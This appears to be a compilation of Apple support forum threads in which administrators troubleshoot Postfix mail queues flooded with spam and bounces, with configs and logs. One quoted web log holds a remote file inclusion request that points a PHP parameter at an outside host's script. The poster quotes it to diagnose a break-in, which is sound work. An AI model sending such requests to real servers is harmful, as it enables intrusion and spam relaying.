Mail QUEUE keeps filling up 17000+ emails

I am running a OS 10.4.11 w/latest security updates. Approx 50 active email accounts but a high volume of emails. We have been shut down by our ISP for an open proxy (unsure if this is related or not). We keep getting thousands of emails flooding our mail queue from unknown sources to unknown address. I have read another post with similar issues and I want to update the postfx config to keep this over load of emails from reaching the queue. I am not that great with command line and would like a little help. I have read FRONT-LINE SPAM DEFENSE FOR MAIL SERVERS, and need just a bit of help getting started. ANY help will be appreciated.

Using text wrangler and editing the main.cf file. I am also looking at the logs and here is what I had on the 31st when we got blocked by our ISP, it looks like just a bunch of spam flooding us with malformed names.
Aug 31 09:44:04 mail postfix/smtp[4177]: warning: valid_hostname: empty hostname
Aug 31 09:44:04 mail postfix/smtp[4177]: warning: malformed domain name in resource data of MX record for yaoo.com:
Aug 31 09:44:05 mail postfix/smtp[3642]: warning: valid_hostname: empty hostname
Aug 31 09:44:05 mail postfix/smtp[3642]: warning: malformed domain name in resource data of MX record for yuahoo.com:
Aug 31 09:44:11 mail postfix/smtp[3699]: warning: valid_hostname: empty hostname
Aug 31 09:44:11 mail postfix/smtp[3699]: warning: malformed domain name in resource data of MX record for yaho.com:
Aug 31 09:44:13 mail postfix/smtp[3706]: warning: valid_hostname: empty hostname
Aug 31 09:44:13 mail postfix/smtp[3706]: warning: malformed domain name in resource data of MX record for yahho.com:
Aug 31 09:44:15 mail postfix/smtp[4167]: warning: valid_hostname: empty hostname
Aug 31 09:44:15 mail postfix/smtp[4167]: warning: malformed domain name in resource data of MX record for yhaoo.com:
Aug 31 09:44:15 mail postfix/smtp[4177]: warning: valid_hostname: empty hostname
Aug 31 09:44:15 mail postfix/smtp[4177]: warning: malformed domain name in resource data of MX record for yhoo.com:
Aug 31 09:44:21 mail postfix/smtp[3670]: warning: valid_hostname: empty hostname
Aug 31 09:44:21 mail postfix/smtp[3670]: warning: malformed domain name in resource data of MX record for ahoo.com:
Aug 31 09:44:21 mail postfix/smtp[3649]: warning: valid_hostname: empty hostname
Aug 31 09:44:21 mail postfix/smtp[3649]: warning: malformed domain name in resource data of MX record for yahho.com:
Aug 31 09:44:30 mail postfix/smtp[3669]: warning: valid_hostname: empty hostname
Aug 31 09:44:30 mail postfix/smtp[3669]: warning: malformed domain name in resource data of MX record for yahooo.com:
Aug 31 09:44:37 mail postfix/smtp[3669]: warning: valid_hostname: empty hostname
Aug 31 09:44:37 mail postfix/smtp[3669]: warning: malformed domain name in resource data of MX record for yaho.com:
Aug 31 09:44:38 mail postfix/smtp[3649]: warning: valid_hostname: empty hostname
Aug 31 09:44:38 mail postfix/smtp[3649]: warning: malformed domain name in resource data of MX record for yaho.com:
Aug 31 09:44:39 mail postfix/smtp[3701]: warning: valid_hostname: empty hostname
Aug 31 09:44:39 mail postfix/smtp[3701]: warning: malformed domain name in resource data of MX record for yaoo.com:
Aug 31 09:44:43 mail postfix/smtp[3646]: warning: valid_hostname: empty hostname
Aug 31 09:44:43 mail postfix/smtp[3646]: warning: malformed domain name in resource data of MX record for yhaoo.com:
Aug 31 09:44:47 mail postfix/smtp[3674]: warning: numeric domain name in resource data of MX record for disinc.com: 127.0.1.50
Aug 31 09:44:49 mail postfix/smtp[4201]: warning: valid_hostname: empty hostname
Aug 31 09:44:49 mail postfix/smtp[4201]: warning: malformed domain name in resource data of MX record for ayahoo.com:
Aug 31 09:44:50 mail postfix/smtp[3655]: warning: valid_hostname: empty hostname
Aug 31 09:44:50 mail postfix/smtp[3655]: warning: malformed domain name in resource data of MX record for atyahoo.com:
Aug 31 09:44:51 mail postfix/smtp[1804]: warning: valid_hostname: empty hostname
Aug 31 09:44:51 mail postfix/smtp[1804]: warning: malformed domain name in resource data of MX record for yahoon.net:
Aug 31 09:44:52 mail postfix/smtp[1826]: warning: valid_hostname: empty hostname
Aug 31 09:44:52 mail postfix/smtp[1826]: warning: malformed domain name in resource data of MX record for yaho.com:
Aug 31 09:44:53 mail postfix/smtp[3701]: warning: valid_hostname: empty hostname
Aug 31 09:44:53 mail postfix/smtp[3701]: warning: malformed domain name in resource data of MX record for yaho.com:
Aug 31 09:44:54 mail postfix/smtp[3701]: warning: valid_hostname: empty hostname
Aug 31 09:44:54 mail postfix/smtp[3701]: warning: malformed domain name in resource data of MX record for yhoo.com:
Aug 31 09:44:56 mail postfix/smtp[4201]: warning: valid_hostname: empty hostname
Aug 31 09:44:56 mail postfix/smtp[4201]: warning: malformed domain name in resource data of MX record for hyahoo.com:
Aug 31 09:44:56 mail postfix/smtp[4197]: warning: valid_hostname: empty hostname
Aug 31 09:44:56 mail postfix/smtp[4197]: warning: malformed domain name in resource data of MX record for yhoo.com:
Aug 31 09:44:56 mail postfix/smtp[4196]: warning: valid_hostname: empty hostname
Aug 31 09:44:56 mail postfix/smtp[4196]: warning: malformed domain name in resource data of MX record for yahooo.com:
Aug 31 09:44:59 mail postfix/smtp[3646]: warning: valid_hostname: empty hostname
Aug 31 09:44:59 mail postfix/smtp[3646]: warning: malformed domain name in resource data of MX record for yaoo.com:
Aug 31 09:45:00 mail postfix/smtp[4197]: warning: valid_hostname: empty hostname
Aug 31 09:45:00 mail postfix/smtp[4197]: warning: malformed domain name in resource data of MX record for yahho.com:
Aug 31 09:45:14 mail postfix/smtp[3690]: warning: valid_hostname: empty hostname
Aug 31 09:45:14 mail postfix/smtp[3690]: warning: malformed domain name in resource data of MX record for yahoo.net:
Aug 31 09:45:16 mail postfix/smtp[3660]: warning: valid_hostname: empty hostname
Aug 31 09:45:16 mail postfix/smtp[3660]: warning: malformed domain name in resource data of MX record for yhoo.com:
Aug 31 09:45:17 mail postfix/smtp[3692]: warning: valid_hostname: empty hostname
Aug 31 09:45:17 mail postfix/smtp[3692]: warning: malformed domain name in resource data of MX record for yahho.com:
Aug 31 09:45:18 mail postfix/smtp[3645]: warning: valid_hostname: empty hostname
Aug 31 09:45:18 mail postfix/smtp[3645]: warning: malformed domain name in resource data of MX record for yhaoo.com:
Aug 31 09:45:20 mail postfix/smtp[4203]: warning: valid_hostname: empty hostname
Aug 31 09:45:20 mail postfix/smtp[4203]: warning: malformed domain name in resource data of MX record for yahooomail.com:
Aug 31 09:45:20 mail postfix/smtp[3649]: warning: valid_hostname: empty hostname
Aug 31 09:45:20 mail postfix/smtp[3649]: warning: malformed domain name in resource data of MX record for yhaoo.com:
Aug 31 09:45:24 mail postfix/smtp[3649]: warning: valid_hostname: empty hostname
Aug 31 09:45:24 mail postfix/smtp[3649]: warning: malformed domain name in resource data of MX record for yahool.com:
Aug 31 09:45:28 mail postfix/smtp[3649]: warning: valid_hostname: empty hostname
Aug 31 09:45:28 mail postfix/smtp[3649]: warning: malformed domain name in resource data of MX record for yhaoo.com:
Aug 31 09:45:28 mail postfix/smtp[3692]: warning: valid_hostname: empty hostname
Aug 31 09:45:28 mail postfix/smtp[3692]: warning: malformed domain name in resource data of MX record for yahooo.com:
Aug 31 09:45:35 mail postfix/smtp[3651]: warning: valid_hostname: empty hostname
Aug 31 09:45:35 mail postfix/smtp[3651]: warning: malformed domain name in

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soft_bounce = no
stale_lock_time = 500s
strict_7bit_headers = no
strict_8bitmime = no
strict_8bitmime_body = no
strict_mime_encoding_domain = no
strict_rfc821_envelopes = no
sun_mailtool_compatibility = no
swap_bangpath = yes
syslog_facility = mail
syslog_name = postfix
tls_daemon_random_bytes = 32
tls_daemon_random_source =
tls_random_bytes = 32
tls_random_exchange_name = ${config_directory}/prng_exch
tls_random_prng_update_period = 60s
tls_random_reseed_period = 3600s
tls_random_source =
trace_service_name = trace
transport_maps =
transport_retry_time = 60s
trigger_timeout = 10s
undisclosed_recipients_header = To: undisclosed-recipients:;
unknown_address_reject_code = 450
unknown_client_reject_code = 450
unknown_hostname_reject_code = 450
unknown_local_recipient_reject_code = 550
unknown_relay_recipient_reject_code = 550
unknown_virtual_alias_reject_code = 550
unknown_virtual_mailbox_reject_code = 550
unverified_recipient_reject_code = 450
unverified_sender_reject_code = 450
verp_delimiter_filter = -=+
virtual_alias_domains = $virtual_alias_maps
virtual_alias_expansion_limit = 1000
virtual_alias_maps = hash:/etc/postfix/virtual,hash:/var/mailman/data/virtual-mailman
virtual_alias_recursion_limit = 1000
virtual_destination_concurrency_limit = $default_destination_concurrency_limit
virtual_destination_recipient_limit = $default_destination_recipient_limit
virtual_gid_maps =
virtual_mailbox_base =
virtual_mailbox_domains = hash:/etc/postfix/virtual_domains
virtual_mailbox_limit = 51200000
virtual_mailbox_lock = fcntl
virtual_mailbox_maps =
virtual_minimum_uid = 100
virtual_transport = lmtp:unix:/Volumes/Mail/imap/socket/lmtp
virtual_uid_maps =

I do have a few Windows clients. They have up to date virus protection but they could very well be infected with some malware. I haven't had the chance to run SpyBot on them.
Sorry for the long postconf output.
I did requeue all the messages with postsuper -r. I also put them all on hold (postsuper -h) which allowed for new messages to be delivered as usual. Deleting the queue was not an option. I am pretty sure now that it was a spam dictionary attack. But I am still concerned that this would effectively bring the server down.
I looked into recipient restrictions but don't see any easy way to maintain an accurate list of my users. Is there a way to pull them from the LDAP directory? I guess I could do that with a perl script, shouldn't be too hard. Is there an easier way? Something built in?
Anyway the server is fine now. As I said I put all the messages on hold then slowly released them back into the active queue. Once the server was able to get over its hang up it chewed through the remaining messages ok. This still brought my server down pretty much the entire day. Not acceptable in most countries.
Any other ideas are welcome!
Thanks,
Josh
shorter postconf output:
alias_maps = hash:/etc/aliases,hash:/var/mailman/data/aliases
always_bcc =
bouncequeuelifetime = 4h
command_directory = /usr/sbin
config_directory = /etc/postfix
content_filter = smtp-amavis:[127.0.0.1]:10024
daemon_directory = /usr/libexec/postfix
debugpeerlevel = 2
defaultdestination_concurrencylimit = 6
defaultprocesslimit = 20
enableserveroptions = yes
inet_interfaces = all
initialdestinationconcurrency = 15
localrecipientmaps =
luser_relay = emailadmin
mail_owner = postfix
mailboxsizelimit = 0
mailbox_transport = cyrus
mailq_path = /usr/bin/mailq
manpage_directory = /usr/share/man
mapsrbldomains =
maximalbackofftime = 2700s
maximalqueuelifetime = 36h
messagesizelimit = 16777216
minimalbackofftime = 900s
mydestination = $myhostname,localhost.$mydomain,myDomain.com
mydomain_fallback = localhost
myhostname = thestranger.com
mynetworks = 127.0.0.1/32,10.0.0.0/24,10.0.8.0/24,10.0.1.0/24
mynetworks_style = host
newaliases_path = /usr/bin/newaliases
ownerrequestspecial = no
queue_directory = /private/var/spool/postfix
queuerundelay = 900s
readme_directory = /usr/share/doc/postfix
recipient_delimiter = +
relayhost =
sample_directory = /usr/share/doc/postfix/examples
sendmail_path = /usr/sbin/sendmail
setgid_group = postdrop
smtpconnecttimeout = 15s
smtphelotimeout = 30s
smtpdclientrestrictions = checkrecipientaccess hash:/etc/postfix/access, permitsaslauthenticated, permit_mynetworks, checksenderaccess hash:/etc/postfix/whiteList, rejectinvalidhostname, rejectnon_fqdnsender, rejectnon_fqdnrecipient, rejectrblclient dnsbl.njabl.org, rejectrblclient sbl-xbl.spamhaus.org, rejectrblclient bl.spamcop.net, rejectrblclient cbl.abuseat.org
smtpdenforcetls = no
smtpdpw_server_securityoptions = login,plain,cram-md5,gssapi
smtpdrecipientrestrictions = checkrecipientaccess hash:/etc/postfix/access, permit_mynetworks, permitsaslauthenticated, rejectinvalidhostname, rejectnon_fqdnsender, rejectnon_fqdnrecipient, rejectunknown_senderdomain, rejectunauthdestination, checksenderaccess hash:/etc/postfix/whiteList
smtpdsasl_authenable = yes
smtpdtls_certfile = /etc/certificates//myDomain.com.crt
smtpdtls_keyfile = /etc/certificates/myDomain.com.key
smtpdtlsloglevel = 2
smtpduse_pwserver = yes
smtpdusetls = yes
unknownlocal_recipient_rejectcode = 550
virtualaliasmaps = hash:/etc/postfix/virtual,hash:/var/mailman/data/virtual-mailman
virtualmailboxdomains = hash:/etc/postfix/virtual_domains
virtual_transport = lmtp:unix:/Volumes/Mail/imap/socket/lmtp

Inbox fills with old emails

My inbox keeps filling with old emails.
After I delete them another 50 fill up my inbox again.
I use pop for email.

MY question is... Why hasn't Apple responded to this issue? Two years is waaaaaay too long. i have this problem as well, and I want access to the music i purchased!!!

Mail Queue filling up with DSN failures

So my Exchange 2010 queue viewer keeps filling up with failed DSNs. There is no sender (except for [email protected]). I have done some searching and the first thing that everyone usually mentions as a cause is SPAM. It's not SPAM. I know this
for two reasons:
1. We have a barracuda SPAM/AV firewall that all SMTP email goes through. None of these emails are there
2. We can see the subject of the email. The subject is a cronjob email from our linux servers. "Undeliverable Cron <cronuser@>..." But there is no source email to be found. Our linux server is not sending any.
Any idea what could be causing this?

If they're DSNs, they could be sent from anywhere with a spoofed reply address.
Ed Crowley MVP "There are seldom good technological solutions to behavioral problems."

Mail Queue Filling Up

Came into the office this morning and everyone is complaining they didn't get any email over the weekend. I log into SA to notice over 300 emails stuck in the queue. I found a couple threads regarding this and this one particularly is almost my exact situation:
http://discussions.apple.com/thread.jspa?messageID=1891076&
With the exception of upgrading the OS. I did actually have to add a virtual IP address to the same NIC that has the IP for our email. I did this because I was having SSL issues:
http://discussions.apple.com/thread.jspa?threadID=612479&tstart=0
Since I wasn't adding a new IP and not so much changing an IP, I didn't use the "changeip" command. Following some of the instructions from the above mentioned thread, I ran "sudo postsuper -r ALL" and this didn't seem to help at all. I then issued a "/sbin/reboot" to restart the email server and now it is in the process of sending all the email that are in the queue. Send and receive email is working properly.
So why the post since I have solved my own problem?
Because it makes me nervous that after adding an additional real-world IP to the extra NIC installed on the server, that it has been behaving this.
So... any thoughts or suggestions on how to prevent this in the future or how to fix this? Thanks.

Ahhh! Yes, I did create an actual user for postmaster
and am using it so I could have an additional email
account in Mail.app to monitor email that was
improperly addressed. Usually I find about 1-2
emails a week where someone improperly mis-spelled
someones address and therefore I send it on to the
right place.
Should I delete the "postmaster" account in WGM? But
then how would I be able to check it's email?
Have a look in /etc/postfix/alias. The alias name is on the left (postmaster) and the name of the mail account used for it is on the right. Replace with your own short name or another (I usually set up a separate mailadmin user). But I don't really think that is causing your problem - its the actual receiving undeliverable mail which is generating the bounces back out.
Also in /etc/postfix/main.cf what's the difference
between "myhostname" and "mydomain". I have them
both configured the same with "mail.domain.com".
Should one be "domain.com" and the other
"mail.domain.com"?
myhostname is normally your hostname ( eg mail.domain.com) - what you want your server to use in its 'helo' command. Ideally should be the same as your MX record (and PTR record for your IP). Ideally they should all match but sometimes difficult.
mydomain - eg domain.com
Note that you will have to put the domain into the Local Hosts Alias pane (if not already there) if you previously only had it as your myhostname.
-david

Mail Queue Filling Up - Spam?

Hi All,
Over the weekend the mail queue in SA filled up. This morning some users where complaining about outgoing messages not being delivered. When I checked the mail queue it had about 500 messages in it. All of them looked liked spam. When I deleted them, outgoing messages started being delivered.
I have no idea why that would happen. Could it mean a hacked machine on the network? I've turned off all of my window's machines overnight to see what happens.
here is my config file.
mail:~ warnersmith$ postconf -n
alias_maps = hash:/etc/aliases,hash:/var/mailman/data/aliases
command_directory = /usr/sbin
config_directory = /etc/postfix
content_filter = smtp-amavis:[127.0.0.1]:10024
daemon_directory = /usr/libexec/postfix
debugpeerlevel = 2
enableserveroptions = yes
html_directory = no
inet_interfaces = all
localrecipientmaps =
luser_relay = postofficebox
mail_owner = postfix
mailboxsizelimit = 0
mailbox_transport = cyrus
mailq_path = /usr/bin/mailq
manpage_directory = /usr/share/man
mapsrbldomains =
messagesizelimit = 20971520
mydestination = $myhostname,localhost.$mydomain,mail.sk.com,66.XXX.8.132,10.0.0.132,sk.com,skde sign.com
mydomain = sk.com
mydomain_fallback = localhost
myhostname = sk.com
mynetworks = 127.0.0.1/32,10.0.0.1/32,206.XXX.192.99
mynetworks_style = host
newaliases_path = /usr/bin/newaliases
ownerrequestspecial = no
queue_directory = /private/var/spool/postfix
readme_directory = /usr/share/doc/postfix
recipient_delimiter = +
relayhost = mail.chrl.twtelecom.net
sample_directory = /usr/share/doc/postfix/examples
sendmail_path = /usr/sbin/sendmail
setgid_group = postdrop
smtpdclientrestrictions = permit_mynetworks hash:/etc/postfix/smtpdreject rejectrblclient sbl.spamhaus.org permit
smtpdpw_server_securityoptions = gssapi,cram-md5,login
smtpdrecipientrestrictions = permitsasl_authenticated,permit_mynetworks,reject_unauthdestination,permit
smtpdsasl_authenable = yes
smtpdtls_certfile = /etc/postfix/server.pem
smtpdtls_keyfile = $smtpdtls_certfile
smtpduse_pwserver = yes
unknownlocal_recipient_rejectcode = 550
MacBook Pro 2.0 GHz 1 GB RAM Mac OS X (10.4.6)

Thanks Jeff. I think the code injection maybe it. I have the server set to relay all outgoing messages to our ISP's mail server. When I look at the messages in the mail queue, all of them seem to be bounce backs from the ISP (domain name does not exist.)
When I look at the mail log for one the messages with the ID of 39E33163839, I see:
Oct 10 13:20:11 mail postfix/smtpd[1697]: connect from unknown[10.0.0.45]
Oct 10 13:20:11 mail postfix/smtpd[1697]: 5EB9115C71D: client=unknown[10.0.0.45]
Oct 10 13:20:11 mail postfix/cleanup[1698]: 5EB9115C71D: message-id=<[email protected]>
Oct 10 13:20:11 mail postfix/qmgr[4726]: 5EB9115C71D: from=<[email protected]>, size=1904, nrcpt=1 (queue active)
Oct 10 20:11:02 mail postfix/qmgr[4726]: C6C32162E2F: from=, size=28300, nrcpt=1 (queue active)
Oct 10 20:11:02 mail postfix/smtp[13214]: C6C32162E2F: host relay.mail.twtelecom.net[216.136.102.250] said: 450 <[email protected]>: Recipient address rejected: Domain not found (in reply to RCPT TO command)
Oct 10 20:11:03 mail postfix/smtp[13214]: C6C32162E2F: to=<[email protected]>, relay=relay.mail.twtelecom.net[216.54.204.190], delay=3698, status=deferred (host relay.mail.twtelecom.net[216.54.204.190] said: 450 <[email protected]>: Recipient address rejected: Domain not found (in reply to RCPT TO command))
Oct 10 20:11:49 mail postfix/smtpd[13189]: connect from c-24-147-6-229.hsd1.ma.comcast.net[24.147.6.229]
Oct 10 20:11:50 mail postfix/smtpd[13189]: 37C60163818: client=c-24-147-6-229.hsd1.ma.comcast.net[24.147.6.229]
Oct 10 20:11:50 mail postfix/cleanup[13178]: 37C60163818: message-id=<000001c6ecc9$d4d5c980$0100007f@Alicia>
Oct 10 20:11:51 mail postfix/qmgr[4726]: 37C60163818: from=<[email protected]>, size=26446, nrcpt=1 (queue active)
Oct 10 20:11:51 mail postfix/smtpd[13189]: disconnect from c-24-147-6-229.hsd1.ma.comcast.net[24.147.6.229]
Oct 10 20:11:55 mail postfix/smtpd[13182]: connect from localhost[127.0.0.1]
Oct 10 20:11:56 mail postfix/smtpd[13182]: F29EA163837: client=localhost[127.0.0.1]
Oct 10 20:11:56 mail postfix/cleanup[13178]: F29EA163837: message-id=<000001c6ecc9$d4d5c980$0100007f@Alicia>
Oct 10 20:11:56 mail postfix/smtpd[13182]: disconnect from localhost[127.0.0.1]
Oct 10 20:11:56 mail postfix/qmgr[4726]: F29EA163837: from=<[email protected]>, size=27040, nrcpt=1 (queue active)
Oct 10 20:11:56 mail postfix/smtp[13179]: 37C60163818: to=<[email protected]>, relay=127.0.0.1[127.0.0.1], delay=6, status=bounced (host 127.0.0.1[127.0.0.1] said: 550 5.7.1 Message content rejected, UBE, id=13135-02 (in reply to end of DATA command))
Oct 10 20:11:56 mail postfix/cleanup[13178]: 39E33163839: message-id=<[email protected]>
Oct 10 20:11:56 mail postfix/qmgr[4726]: 39E33163839: from=, size=28311, nrcpt=1 (queue active)
Oct 10 20:11:56 mail postfix/qmgr[4726]: 37C60163818: removed
Oct 10 20:11:56 mail postfix/pipe[13184]: F29EA163837: to=<[email protected]>, relay=cyrus, delay=1, status=sent (sk.com)
Oct 10 20:11:56 mail postfix/qmgr[4726]: F29EA163837: removed
Oct 10 20:11:56 mail postfix/smtp[13214]: 39E33163839: host relay.mail.twtelecom.net[216.54.204.190] said: 450 <[email protected]>: Recipient address rejected: Domain not found (in reply to RCPT TO command)
Oct 10 20:11:56 mail postfix/smtp[13214]: 39E33163839: to=<[email protected]>, relay=relay.mail.twtelecom.net[216.136.95.10], delay=0, status=deferred (host relay.mail.twtelecom.net[216.136.95.10] said: 450 <[email protected]>: Recipient address rejected: Domain not found (in reply to RCPT TO command))
When I look at the HTTPD logs for that same minute, I see:
69.231.131.52 - - [10/Oct/2006:14:20:11 -0400] "GET /pages/facility_02.html HTTP/1.1" 200 12193
216.120.232.145 - - [10/Oct/2006:20:11:09 -0400] "GET //components/comsitemap/sitemap.xml.php?mosConfig_absolutepath=http://71.132.219.9/omg/remote.txt? HTTP/1.1" 404 -
194.52.202.141 - - [10/Oct/2006:20:11:36 -0400] "GET //components/comsitemap/sitemap.xml.php?mosConfig_absolutepath=http://71.132.219.9/omg/remote.txt? HTTP/1.1" 404 -
68.71.20.37 - - [11/Oct/2006:10:20:11 -0400] "GET /images/leisure_image.3.jpg HTTP/1.1" 200 5338
68.71.20.37 - - [11/Oct/2006:10:20:11 -0400] "GET /images/leisure_image.4.jpg HTTP/1.1" 200 6872
68.71.20.37 - - [11/Oct/2006:10:20:11 -0400] "GET /images/leisure_image.5.jpg HTTP/1.1" 200 3360
The line "//components/comsitemap/sitemap.xml.php?mosConfig_absolutepath=http://71.132.219.9/omg/remote.txt? HTTP/1.1" 404 -" seem to be that code injection. We don't have a file named sitemap.xml.php on our website.
Am I correct that this is a code injection?
I have three site running on this server. One is a plain old static site for the company it does not use PHP. One is webmail that came with OS X. The final one is an file storage site that does use PHP. It's a commercial code called Copper Project. I've turned off the site overnight to see if this still happens.
The link in in Jeff's post seems to suggest a simple fix. However, I know nothing about PHP programing, so this is beyond me.
Thanks
Henry
MacBook Pro 2.0 GHz 1 GB RAM Mac OS X (10.4.6)

Can anyone tell me why when composing an email in Mail it keeps saving a draft every few seconds into the Trash file?

When I am composing an email in Mail it keeps saving a copy every few seconds into the Trash bin, quite annoying and I cannot find anyway to prevent it. Any ideas anyone?
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From the Mail menu bar, select
Mail ▹ Preferences... ▹ Accounts ▹ Mailbox Behaviors
and uncheck the box marked
Store draft messages on the server

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I remember reading about how to fix this before - but cannot find the details now.
I have a server that is trying to send mail to non existant domains or non existant e-mail addressed. the mail is not originating from clients.
Typical entry in the mail queue is
Message ID: 60D7987570
Date: Thu Aug 17 06:18:36
Size: 34446
Sender: MAILER-DAEMON
Recipient(s) & Status:
[email protected]:
host mail.cncnet.net[210.53.130.195] said: 450 4.1.1 <[email protected]>: Recipient address rejected: User unknown in local recipient table (in reply to RCPT TO command
how can I sent the mail server up to just ditch this stuff in the first place.
Tim

Here is an extract from the logs. I think I understand this now and it works as it should - but perhaps you could confirm.
This message is clearly not stuck in the outgoing queue. From what I can see mail is received from a backup mail relay for a non existent user on this server. When we try to reject it back to sender, if the sender rejects with 550 we bin it.
I guess the problem is what to do when the receiving mail server fails to respond? I think eventually it times out and we delete the message. Is that correct?
Aug 18 15:27:00 server postfix/cleanup[20819]: 9F7AAE92EB: message-id=<000001c6c2d2$2aae8940$d73fa8c0@hpcsece>
Aug 18 15:27:00 server postfix/qmgr[17315]: 9F7AAE92EB: from=<[email protected]>, size=3353, nrcpt=1 (queue active)
Aug 18 15:27:00 server postfix/smtpd[20816]: disconnect from scanner.datacenta.net[217.33.105.206]
Aug 18 15:27:16 server postfix/smtpd[20827]: connect from localhost[127.0.0.1]
Aug 18 15:27:16 server postfix/smtpd[20827]: B7FA3E930E: client=localhost[127.0.0.1]
Aug 18 15:27:16 server postfix/cleanup[20819]: B7FA3E930E: message-id=<000001c6c2d2$2aae8940$d73fa8c0@hpcsece>
Aug 18 15:27:16 server postfix/qmgr[17315]: B7FA3E930E: from=<[email protected]>, size=3905, nrcpt=1 (queue active)
Aug 18 15:27:16 server postfix/smtpd[20827]: disconnect from localhost[127.0.0.1]
Aug 18 15:27:17 server postfix/smtp[20820]: 9F7AAE92EB: to=<[email protected]>, relay=127.0.0.1[127.0.0.1], delay=18, status=sent (250 2.6.0 Ok, id=20277-06, from MTA: 250 Ok: queued as B7FA3E930E)
Aug 18 15:27:17 server postfix/qmgr[17315]: 9F7AAE92EB: removed
Aug 18 15:27:17 server postfix/lmtp[20828]: B7FA3E930E: to=<[email protected]>, relay=/var/imap/socket/lmtp[/var/imap/socket/lmtp], delay=1, status=bounced (host /var/imap/socket/lmtp[/var/imap/socket/lmtp] said: 550-Mailbox unknown. Either there is no mailbox associated with this 550-name or you do not have authorization to see it. 550 5.1.1 User unknown (in reply to RCPT TO command))
Aug 18 15:27:17 server postfix/cleanup[20819]: 38178E9310: message-id=<[email protected]>
Aug 18 15:27:17 server postfix/qmgr[17315]: 38178E9310: from=, size=6025, nrcpt=1 (queue active)
Aug 18 15:27:17 server postfix/qmgr[17315]: B7FA3E930E: removed
Aug 18 15:27:19 server postfix/smtp[20831]: 38178E9310: to=<[email protected]>, relay=bx1.techsolsc.com[65.5.144.18], delay=2, status=bounced (host bx1.techsolsc.com[65.5.144.18] said: 550 <[email protected]>: Recipient address rejected: Unknown user (in reply to RCPT TO command))
Aug 18 15:27:19 server postfix/qmgr[17315]: 38178E9310: removed

I'm new to Apple's Mail program (I've used AOL for years). How do I configure Mail so once an email is read it automatically disappears from the list of emails? Conversely, how do I mark "keep as new" an email I've read but I want to remain on the screen?

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I don't understand how to sync settings in mail settings to fill lesser number of emails in my inbox

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My email keeps loading the same emails even after deleting them. They keep coming back everytime I start up the mail app. What can I do?

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Hi, I just upgraded one of our Xserve from 10.4.11 to 10.5.6 Now I can't send or receive mail, but I can see all incoming and out going email in Mail Queue.
Here is the log.
********************************************************* 451-4.5.0 LibClamAV Warning: * This version of the ClamAV engine is outdated. ...* 451-4.5.0 LibClamAV Warning: * DON'T PANIC! Read http://www.clamav.net/support/faq * 451-4.5.0 LibClamAV Warning: ********************************************************* 451-4.5.0 LibClamAV Error: cli_loadmd5: Problem parsing database at line 34333 451-4.5.0 LibClamAV Error: Can't load daily.mdb: Malformed database 451-4.5.0 LibClamAV Error: cli_tgzload: Can't load daily.mdb 451-4.5.0 LibClamAV Error: Can't load /private/var/clamav/daily.cld: Malformed database 451 4.5.0 ERROR: Malformed database" at (eval 42) line 511. (in reply to end of DATA command))
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Jan 20 22:37:59 macserver postfix/scache[371]: statistics: address lookup hits=0 miss=2 success=0%
Jan 20 22:37:59 macserver postfix/scache[371]: statistics: max simultaneous domains=1 addresses=1 connection=1
I have try running this.
sudo /bin/launchctl load -w /System/Library/LaunchDaemons/org.clamav.freshclam.plist
and also try to download and update daily.cvd and main.cvd
Ans restart the Server, but still the same problem.
Any help or suggestion would be much appreciated.
Jet

Hi Pterobyte,
Sorry been away the last few day.
No I haven't make any change to clamAV.
I just checked the server log again, no more error and I can send and receive email.
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Jet

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